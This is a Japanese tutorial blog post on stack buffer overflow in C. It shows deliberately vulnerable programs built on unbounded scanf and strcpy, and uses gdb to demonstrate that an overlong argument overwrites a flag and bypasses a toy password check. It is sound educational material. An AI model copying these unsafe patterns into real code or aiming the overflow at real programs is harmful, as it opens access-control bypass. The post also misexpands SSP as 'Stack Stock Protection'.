ごろねこの勉強部屋

主にセキュリティ、機械学習、それらにまつわる数学について書きます。

スタックオーバーフローについて

スタックオーバーフローとは?

本来データが書き込まれる領域を超えてデータが書き込まれるバッファオーバーフローの一種です。スタックで起こるバッファオーバーフローをスタックオーバーフローといいます。スタックオーバーフローが起こると、そのプログラムの作成者が意図しない動作が起きる可能性があります。今回紹介する例は、スタックオーバーフローを利用して本来書き換えられないはずの変数の値を書き換えます。

サンプルソースコード

では実際にスタックオーバーフローを起こしてみます。下のソースコードを見てください。

#include<stdio.h>

int main(){
     char input[5];
     char hello[5] = "HELLO";
     scanf("%s",input);
     printf("input = %s address is %p, hello = %s address is %p\n ",input,input,hello,hello);
}

このCプログラムは、配列inputに標準入力(キーボードからの入力)を入れて、元から中身が入っていて変更できない配列helloと一緒に中身とアドレスを出力します。スタックオーバーフローを知らない人が見ればこのプログラムの配列helloの中身は変更できないように思えますが、実際には変更することができます。まずは、スタックオーバーフローを起こさずに普通に実行してみます。

goroneko@NEKO:~$ ./a.out
neko
input = neko address is 0x7ffff4e7721e, hello = HELLO address is 0x7ffff4e77223

上の実行結果をまずは分析していきます。配列inputの先頭アドレスは0x7ffff4e7721eです(長いので下三桁だけこれからは書きます)。配列helloの先頭アドレスは223です。このアドレス差は5です。inputは要素数5で宣言しているので当然ですね。では、次はスタックオーバーフローを起こした結果を見てみましょう。

 goroneko@NEKO:~$ ./a.out
nekoneko
input = nekoneko address is 0x7fffc5c1d0ee, hello = eko address is 0x7fffc5c1d0f3

先ほどのアドレスと違うアドレスが表示されているのは、プログラムが実行されるたびにプログラムはランダムなメモリ領域に配置されるためです。今回は配列inputが持つ要素数5よりも多い8文字を格納してみました。するとどうでしょうか、配列helloの中身がekoになっていますね。これがなぜなのか、わかりやすいように図にしてみました。

標準入力を受け付けた後、配列周りのメモリはこのようになっています。printf関数で使っている%sはNULLを読み込むまで引数で指定されたアドレスから順番に読んでいくので、配列inputの出力はnekonekoになり、配列helloの出力はekoになります。
ちなみに、配列inputにちょうど5文字入れると、NULL文字が配列helloの一文字目になります。そのため、

goroneko@NEKO:~$ ./a.out
nekoo
input = nekoo address is 0x7fffdfe8fb0e, hello =  address is 0x7fffdfe8fb13

出力はこのようになります。実際はhelloの中にELLOだけ残っているのですが(HはNULL文字で上書きされた)、%sは渡されたアドレスからNULL文字までを読むので、配列helloの出力は何も見えません(いきなりNULLが読まれたため)。

もう少し現実的な例

ここまでの例はあくまでスタックオーバーフローのわかりやすい例のためのものだったので、「だからなんやねん」となっている人もいると思います。もう少し現実的な例で、スタックオーバーフローの威力を見ていきたいと思います。
下のソースコードを見てください。

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>

int check_password(char *password) { 
   int pass_flag = 0; 
   char password_buffer[16];

   strcpy(password_buffer, password);

   if(strcmp(password_buffer, "neko") == 0) 
      pass_flag = 1;
   if(strcmp(password_buffer, "gorogoro") == 0) 
      pass_flag = 1;

   return pass_flag;
}

int main(int argc, char *argv[]) { 
   if(argc < 2) {
      printf("使用方法: %s <パスワード>\n", argv[0]); 
      exit(0);
   }
   if(check_password(argv[1])) {
      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 
      printf("   アクセスを許可します。\n"); 
      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
   } else { 
      printf("\nアクセスを拒否しました。\n");
   }
}

正しいパスワードをコマンドライン引数で入力したときだけアクセスを許可するプログラムです。まずは、スタックオーバーフローを起こさずに実行してみます。

goroneko@NEKO:~$ ./a.out inu

アクセスを拒否しました。
goroneko@NEKO:~$ ./a.out neko

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
goroneko@NEKO:~/$ ./a.out gorogoro

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-

このように、決められたパスワード(nekoとgorogoro)をコマンドライン引数にしたときだけアクセスが許可されます。では、スタックオーバーフローを起こすとどうなるのでしょうか。ソースコードを見てください。アクセスを許可するか否かは、pass_flagの値によって決まっています。pass_flagの値が0以外の時(if文は引数が0の時に偽、それ以外は真を返す)、アクセスが許可され、その他の時は許可されません。今回の例では、このpass_flagの値を0以外に書き換えることで、パスワードを知らなくてもアクセス許可が得られることを示していきます。
最初の例のように考えると、配列password_bufferは要素数16なので、17文字目に0以外を入れれば書き換えられるように思うと思います。しかしここで注意してほしいのが、char型とint型のバイト数の違いです。char型は1バイト、int型は4バイトをメモリ上に確保します。このことを考慮して、どのようにすればpass_flagに0以外を入れられるでしょうか?

最初の例と同じようにやってみる

最初の例では、要素数5の配列inputの中に8文字のnekonekoを入れることで、要素数5の配列helloの中身をekoに書き換えました(実際はe,k,o,NULL,Oになっているが、%sの性質上ekoと出力された)。これと同様に考えるなら、要素数16の配列password_bufferに、17文字以上の文字を入れれば書き換えられそうです。ただし、先ほども言った通り型によって確保されるバイト数が異なるので、17文字目から20文字目がpass_flagの領域であると考えられます(charは1バイト、intは4バイトのため)。pass_flagの中身は0以外になればよいので、今回はAに書き換えてみます。

goroneko@NEKO:~/$ ./a.out $(perl -e 'print "A" x 20;')

アクセスを拒否しました。

$(perl -e 'print "A" x 20;')は、Aを20回出力します。Aを20回出力して、pass_flagの値を0以外に書き換えたはずですが、アクセスが拒否されました。いったいなぜこのような結果になったのでしょうか。GDBデバッガを用いて原因を調べてみます。

(gdb) b 16
Breakpoint 1 at 0x80007cc: file overflow.c, line 16.
(gdb) r $(perl -e 'print "A" x 20;')
Starting program: /a.out $(perl -e 'print "A" x 20;')

Breakpoint 1, check_password (password=0x7ffffffee263 'A' <repeats 20 times>) at overflow.c:16
16         return pass_flag;
(gdb) x/32x $rsp
0x7ffffffeded0: 0xfffedf38      0x00007fff      0xfffee263      0x00007fff
0x7ffffffedee0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffffffedef0: 0x41414141      0x00007f00      0x00000000      0x00000000
0x7ffffffedf00: 0xfffedf20      0x00007fff      0x0800081e      0x00000000
0x7ffffffedf10: 0xfffee008      0x00007fff      0x00000000      0x00000002
0x7ffffffedf20: 0x08000860      0x00000000      0xff021b97      0x00007fff
0x7ffffffedf30: 0x00000002      0x00000000      0xfffee008      0x00007fff
0x7ffffffedf40: 0x00008000      0x00000002      0x080007d1      0x00000000
(gdb) x/x &pass_flag
0x7ffffffedefc: 0x00000000
(gdb) x/x password_buffer
0x7ffffffedee0: 0x41414141
(gdb) p 0x7ffffffedefc - 0x7ffffffedee0
$1 = 28

check_password関数のリターン直前にブレークポイントを設定し、メモリの中身を表示しました。GDBデバッガによれば、pass_flagのアドレスは0x7ffffffedefc、password_bufferのアドレスは0x7ffffffedee0です。このアドレス差は28なので、Aを20文字入力してもpass_flagの値は0のまま変わりません。スタックポインタrspの周りのメモリの中身を見てみると、0x7ffffffedee0から0x7ffffffedef3までAが格納されていることがわかります。(アドレス表記についてよくわからないという人は、記事の最後に補足しているのでそちらをご覧ください。)
メモリの中身を見てみると、password_bufferの領域からpass_flagまでは余分なデータが12バイト格納されていることがわかります。これは単なるパディング(詰め物)で、コンパイラによって挿入されるものです。
では次に、アドレス差を考慮して29文字Aを入力してみます。

(gdb) r $(perl -e 'print "A" x 29;')
Starting program: /a.out $(perl -e 'print "A" x 29;')

Breakpoint 1, check_password (password=0x7ffffffee263 'A' <repeats 29 times>) at overflow.c:16
16         return pass_flag;
(gdb) x/x &pass_flag
0x7ffffffedefc: 0x00000041
(gdb) x/x password_buffer
0x7ffffffedee0: 0x41414141
(gdb) x/32xw $rsp
0x7ffffffeded0: 0xfffedf38      0x00007fff      0xfffee263      0x00007fff
0x7ffffffedee0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffffffedef0: 0x41414141      0x41414141      0x41414141      0x00000041
0x7ffffffedf00: 0xfffedf20      0x00007fff      0x0800081e      0x00000000
0x7ffffffedf10: 0xfffee008      0x00007fff      0x00000000      0x00000002
0x7ffffffedf20: 0x08000860      0x00000000      0xff021b97      0x00007fff
0x7ffffffedf30: 0x00000002      0x00000000      0xfffee008      0x00007fff
0x7ffffffedf40: 0x00008000      0x00000002      0x080007d1      0x00000000
(gdb) c
Continuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-

これで無事pass_flagの値を書き換えることができました。

おわりに

いかがでしたでしょうか。今回紹介したスタックオーバーフローは、現在はコンパイラによって回避されます。今回は-fno-stack-protectorオプションを用いてgccコンパイラコンパイルして、OSのSSP(Stack Stock Protection)機能をオフにしました。実際に試す場合は、これらのオプションを指定して仮想環境で試してください。

補足:アドレスについて

メモリアドレッシングには、ワードアドレッシングとバイトアドレッシングがあります。バイトアドレッシングは1バイトごとにメモリアドレスが1増加しますが、ワードアドレッシングは4バイトごとにアドレスが1増加します。今回実行したコンピュータのメモリは8ビットごとにアドレスが割り振られているので、バイトアドレッシングが用いられています。詳しくはまた別の記事で書こうかと思います。